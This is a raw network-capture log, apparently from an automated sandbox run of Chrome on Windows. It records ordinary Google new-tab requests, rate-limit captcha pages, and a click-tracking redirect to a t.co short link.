2024-04-26 12:36:59 UTC	1703	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:36:59 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-KM3Sm4dKoqmDCCxwSScrXQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 12:36:59 UTC	1703	IN	Data Raw: 62 32 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 76 65 6e 69 63 65 20 69 74 61 6c 79 20 66 65 65 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 67 61 72 72 79 20 6d 6f 64 22 2c 22 62 72 69 73 74 6f 6c 20 6d 79 65 72 73 20 73 71 75 69 62 62 20 6c 61 79 6f 66 66 73 22 2c 22 68 6f 72 73 65 20 72 61 63 69 6e 67 20 6b 65 6e 74 75 63 6b 79 20 64 65 72 62 79 22 2c 22 63 68 61 6b 72 61 73 20 66 6f 72 74 6e 69 74 65 22 2c 22 77 65 61 74 68 65 72 20 73 74 6f 72 6d 73 20 74 6f 72 6e 61 64 6f 65 73 22 2c 22 68 6f 6d 65 20 64 65 70 6f 74 20 68 61 6c 6c 6f 77 65 65 6e 20 73 6b 65 6c 65 74 6f 6e 20 64 6f 67 22 2c 22 73 74 65 74 73 6f 6e 20 62 65 6e 6e 65 74 74 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a Data Ascii: b29)]}'["",["venice italy fee","nintendo garry mod","bristol myers squibb layoffs","horse racing kentucky derby","chakras fortnite","weather storms tornadoes","home depot halloween skeleton dog","stetson bennett"],["","","","","","","",""],[],{"google:
2024-04-26 12:36:59 UTC	1161	IN	Data Raw: 57 77 7a 62 55 55 72 4e 48 6c 31 54 6b 56 69 5a 6c 46 6b 54 32 64 4b 56 58 42 53 54 33 52 72 5a 56 68 73 56 46 5a 76 63 45 63 34 4e 32 74 49 59 6d 78 44 61 57 6c 70 63 48 42 58 61 46 5a 4a 65 58 49 30 61 31 46 6a 59 33 5a 53 64 48 4a 7a 52 31 4a 4b 53 31 56 4b 56 7a 52 30 63 46 4e 53 64 32 73 33 4e 57 46 51 56 54 59 78 4b 32 46 31 61 6e 70 6e 59 56 70 58 4e 46 4a 7a 53 56 4e 57 59 53 73 78 57 6e 42 35 65 56 4d 31 53 33 56 46 5a 56 68 4a 54 7a 4e 61 54 56 5a 45 65 6d 68 49 4e 32 78 47 55 6b 35 58 63 30 64 31 64 54 4e 4a 56 33 56 36 57 54 59 35 53 6b 5a 6c 65 6b 70 58 56 31 64 55 5a 56 51 76 52 58 45 72 57 48 52 54 4d 6c 6c 4c 4d 56 64 31 53 6a 56 4b 57 56 64 6d 52 6c 59 76 53 6d 59 72 52 46 68 6c 63 47 31 35 63 32 6c 55 52 47 4a 72 55 6d 30 72 53 6d 78 33 Data Ascii: WwzbUUrNHl1TkViZlFkT2dKVXBST3RrZVhsVFZvcEc4N2tIYmxDaWlpcHBXaFZJeXI0a1FjY3ZSdHJzR1JKS1VKVzR0cFNSd2s3NWFQVTYxK2F1anpnYVpXNFJzSVNWYSsxWnB5eVM1S3VFZVhJTzNaTVZEemhIN2xGUk5Xc0d1dTNJV3V6WTY5SkZlekpXV1dUZVQvRXErWHRTMllLMVd1SjVKWVdmRlYvSmYrRFhlcG15c2lURGJrUm0rSmx3
2024-04-26 12:36:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	142.250.64.196	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:36:59 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	142.250.64.196	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:36:59 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:36:59 UTC	1843	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZjcGOu_rrEGIjBE_meRxt7SPOsru9FjfLq3eBoEUHFPrZqRg1AUgQUtmWvideuFZN9JTyUEamxFHncyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI67-usQYQsuvjwAISBGaBmNw Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 26 Apr 2024 12:36:59 GMT Server: gws Content-Length: 458 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-26-12; expires=Sun, 26-May-2024 12:36:59 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=513=LquoDskXxVPBEOqjFfuKQRH9qWN-4LiQR4sKZ_g49bdgxRt4Rrv9seg3KURUhmrhWL8JxOK9xsrXQum916ozDWK9F9lyVU7OPvNwrCaTCEmjYXpPloCpIPrCRxZz_Kc44H7xzJcsqkX6k84MY75Il2UheNPilj1KrdsQwQgJjFY; expires=Sat, 26-Oct-2024 12:36:59 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 12:36:59 UTC	458	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 25 33 46 68 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	142.250.64.196	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:36:59 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:37:00 UTC	1761	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZjcGOu_rrEGIjD8bANg-u1odBRI1x6aBEwDQgk5ys0fjh5xTOiYms3kNqX5NcRWLHJbTR3PYwG9_4QyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI67-usQYQ29Ka1AMSBGaBmNw Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 26 Apr 2024 12:36:59 GMT Server: gws Content-Length: 417 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-26-12; expires=Sun, 26-May-2024 12:36:59 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=513=Ox8CUoYrpWrVK4pjCP3Fe2YwpglMJo9LsxSQF4ZpfuoH2iARmH6ien5vIPOgTz-2jQDHYQLws41ErsHi2ajKnU1Ix2u9TE43pn_xulndP7xHkGY510lF1XMHRy46gxGIMgX8bZdGzkzptLTO1xzy79jrzupNGV3cRRpsZs6aD7Y; expires=Sat, 26-Oct-2024 12:36:59 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 12:37:00 UTC	417	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49714	3.133.210.250	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:36:59 UTC	743	OUT	GET /3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz HTTP/1.1 Host: click.pstmrk.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:37:00 UTC	192	IN	HTTP/1.1 302 Found Server: awselb/2.0 Date: Fri, 26 Apr 2024 12:37:00 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close Location: https://t.co/RieqFTtqmt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	142.250.64.196	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:01 UTC	928	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZjcGOu_rrEGIjBE_meRxt7SPOsru9FjfLq3eBoEUHFPrZqRg1AUgQUtmWvideuFZN9JTyUEamxFHncyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-04-26-12; NID=513=LquoDskXxVPBEOqjFfuKQRH9qWN-4LiQR4sKZ_g49bdgxRt4Rrv9seg3KURUhmrhWL8JxOK9xsrXQum916ozDWK9F9lyVU7OPvNwrCaTCEmjYXpPloCpIPrCRxZz_Kc44H7xzJcsqkX6k84MY75Il2UheNPilj1KrdsQwQgJjFY
2024-04-26 12:37:01 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Apr 2024 12:37:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3186 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 12:37:01 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 3f 68 6c 3d 65 6e 2d 55 53 26 61 6d 70 3b 61 73 79 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_ogb?hl=en-US&asy
2024-04-26 12:37:01 UTC	1255	IN	Data Raw: 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 74 61 52 6d 34 4f 4a 42 6b Data Ascii: <script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="taRm4OJBk
2024-04-26 12:37:01 UTC	1032	IN	Data Raw: 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 22 3e 0a 54 68 69 73 20 70 61 67 65 20 61 70 70 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 Data Ascii: ; line-height:1.4em;">This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly aft

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	142.250.64.196	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:01 UTC	738	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZjcGOu_rrEGIjD8bANg-u1odBRI1x6aBEwDQgk5ys0fjh5xTOiYms3kNqX5NcRWLHJbTR3PYwG9_4QyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-04-26-12; NID=513=Ox8CUoYrpWrVK4pjCP3Fe2YwpglMJo9LsxSQF4ZpfuoH2iARmH6ien5vIPOgTz-2jQDHYQLws41ErsHi2ajKnU1Ix2u9TE43pn_xulndP7xHkGY510lF1XMHRy46gxGIMgX8bZdGzkzptLTO1xzy79jrzupNGV3cRRpsZs6aD7Y
2024-04-26 12:37:02 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Apr 2024 12:37:02 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3114 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 12:37:02 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_promos</title></head
2024-04-26 12:37:02 UTC	1255	IN	Data Raw: 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 31 48 4e 78 61 54 49 65 6b 53 58 64 56 43 55 74 6d 37 62 4d 35 54 66 43 6c 64 5f 72 32 6d 31 6e 2d Data Ascii: ack = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="1HNxaTIekSXdVCUtm7bM5TfCld_r2m1n-
2024-04-26 12:37:02 UTC	960	IN	Data Raw: 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 73 6f 6c 76 69 6e Data Ascii: ogle automatically detects requests coming from your computer network which appear to be in violation of the <a 